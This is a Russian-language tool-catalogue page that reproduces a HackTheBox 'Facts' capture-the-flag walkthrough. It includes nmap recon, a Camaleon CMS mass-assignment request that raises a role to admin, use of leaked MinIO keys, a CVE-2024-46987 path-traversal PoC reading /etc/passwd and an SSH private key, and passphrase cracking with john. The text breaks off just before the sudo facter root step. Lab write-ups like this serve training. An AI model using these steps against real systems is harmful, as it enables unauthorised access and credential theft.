Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
HackTheBox-Facts — HTB Facts - это простая Linux-машина с Camaleon CMS и MinIO. Получите доступ администратора через открытую регистрацию и уязвимость массового присваивания, затем извлеките учетные данные MinIO из настроек администратора. Используйте обход пути CVE-2024-46987, чтобы украсть закрытый ключ SSH, взломать его парольную фразу и повысить привилегии до root, злоупотребляя правами sudo на facter через GTFOBins. | Kitploit
Инструменты/GitHubGitHub/suriyaboon/hackthebox-facts
Повышение привилегийРазведкаАтаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеБезопасность облачных сред

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

HTB Facts - это простая Linux-машина с Camaleon CMS и MinIO. Получите доступ администратора через открытую регистрацию и уязвимость массового присваивания, затем извлеките учетные данные MinIO из настроек администратора. Используйте обход пути CVE-2024-46987, чтобы украсть закрытый ключ SSH, взломать его парольную фразу и повысить привилегии до root, злоупотребляя правами sudo на facter через GTFOBins.

Обучение и Образование
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

Репозиторий
2015 дней назадЕщё не проверено
Поделиться

HTB Facts — Полный разбор

ОС: Linux
Теги: Web, MinIO, Camaleon CMS, Path Traversal, Privilege Escalation


Содержание

  1. Разведка
  2. Веб-перечисление — порт 80
  3. Обнаружение MinIO — порт 54321
  4. Camaleon CMS — доступ администратора
  5. Повышение привилегий до роли администратора
  6. Обнаружение учётных данных MinIO
  7. Произвольное чтение файлов — CVE-2024-46987
  8. SSH-доступ как trivia
  9. Повышение привилегий до root
  10. Флаги

Разведка

Начните с полного сканирования TCP-портов для выявления открытых сервисов.

nmap -p- --min-rate 5000 -T4 10.129.244.96

Результаты:

ПортСервисПримечания
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321НеизвестноОпределён как MinIO

Добавьте цель в /etc/hosts:

echo "10.129.244.96 facts.htb" >> /etc/hosts

Веб-перечисление — порт 80

При переходе на http://facts.htb открывается сайт с викторинами, построенный на Camaleon CMS (Ruby on Rails). Ключевые индикаторы:

  • Имя cookie: _factsapp_session (сессия Rails)
  • Пути к ресурсам: /assets/themes/camaleon_first/
  • CSRF-токен в мета-тегах
  • Сервер: nginx/1.26.3 (Ubuntu)

Перечислите карту сайта для всех доступных страниц:

curl -s http://facts.htb/sitemap.xml

Обнаруженные примечательные пути:

  • /admin → перенаправляет на /admin/login
  • /rss
  • Различные страницы викторин: /animal-ejected, /anne-frank и т. д.

Проверьте наличие панели входа администратора:

curl -v http://facts.htb/admin
# → 302 redirect to /admin/login

Обнаружение MinIO — порт 54321

Проверка неизвестного порта с помощью curl выявляет MinIO — сервис объектного хранилища, совместимый с S3:

curl -v http://facts.htb:54321

Ответ:

<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

Заголовки подтверждают: Server: MinIO

Проверьте потенциальные имена бакетов (ответ 403 сам по себе не подтверждает существование бакета):

for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

Все возвращают 403 Forbidden — бакеты существуют, но требуют учётных данных.


Camaleon CMS — доступ администратора

Идентификация CMS

По путям к ресурсам и сессионному cookie CMS определяется как Camaleon CMS.

Проверьте известные уязвимости:

searchsploit camaleon

Результаты:

Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

Версия панели администратора подтверждена как 2.9.0 (видна в футере после входа).

Создание учётной записи

Страница входа администратора по адресу http://facts.htb/admin/login содержит ссылку "Create an account". Зарегистрируйте новую учётную запись:

  • Перейдите на http://facts.htb/admin/users/sign_up
  • Заполните любые допустимые учётные данные (например, test123 / test123)
  • Отправьте — это создаёт учётную запись с ролью Client

После регистрации войдите в панель администратора. Учётная запись имеет ограниченные привилегии Client.


Повышение привилегий до роли администратора

Уязвимость массового присваивания

Camaleon CMS уязвим к атаке массового присваивания (mass assignment) на эндпоинте смены пароля. Перехватив запрос на смену пароля и внедрив параметр password[role], злоумышленник может повысить свою роль до admin.

Шаги с использованием Burp Suite:

  1. Войдите в панель администратора с учётной записью Client.
  2. Перейдите в Profile → Edit → Change Password.
  3. Введите любой новый пароль и нажмите Process.
  4. Перехватите POST-запрос в Burp Suite.
  5. Добавьте &password[role]=admin в тело запроса:
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. Перешлите запрос — ответ должен быть 200 OK.
  2. Войдите снова с обновлёнными учётными данными.

Теперь учётная запись имеет привилегии admin, предоставляющие полный доступ к панели администратора CMS, включая Settings, Media и Filesystem Settings.


Обнаружение учётных данных MinIO

Имея доступ администратора, перейдите в:

Settings → General Site → Filesystem Settings

Страница раскрывает жёстко закодированные учётные данные MinIO (совместимого с AWS S3):

AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

Настройте AWS CLI и перечислите бакеты:

export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

Обнаруженные бакеты:

2025-09-11  internal
2025-09-11  randomfacts

Бакет internal содержит домашний каталог пользователя trivia:

aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

Произвольное чтение файлов — CVE-2024-46987

В качестве альтернативы приватный SSH-ключ можно получить через CVE-2024-46987 — аутентифицированную уязвимость обхода пути в Camaleon CMS, позволяющую читать произвольные файлы сервера.

Клонируйте публичный PoC:

git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

Чтение конфиденциальных файлов:

# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

Вывод (значимые строки):

trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Обнаружены два пользователя: trivia и william. Поскольку у trivia есть login shell и домашний каталог, проверьте наличие приватного SSH-ключа:

# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

Сохраните вывод ключа в файл:

chmod 600 id_ed25519

SSH-доступ как trivia

Взлом парольной фразы SSH-ключа

Приватный SSH-ключ зашифрован парольной фразой. Используйте ssh2john и john для её взлома:

ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Взломанная парольная фраза: dragonballz

Вход через SSH

ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz

Получите пользовательский флаг:

cat /home/william/user.txt

Повышение привилегий до root

Права sudo

Проверьте права sudo для пользователя trivia:

sudo -l

Вывод:

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

Пользователь может запускать /usr/bin/facter от имени root без пароля. facter — это инструмент системной информации на основе Ruby.

GTFOBins — facter

Согласно GTFOBins, facter может загружать пользовательские файлы фактов Ruby через --custom-dir, которые выполняются от имени вызывающего пользователя (в данном случае root).

Эксплойт:

Скачать инструмент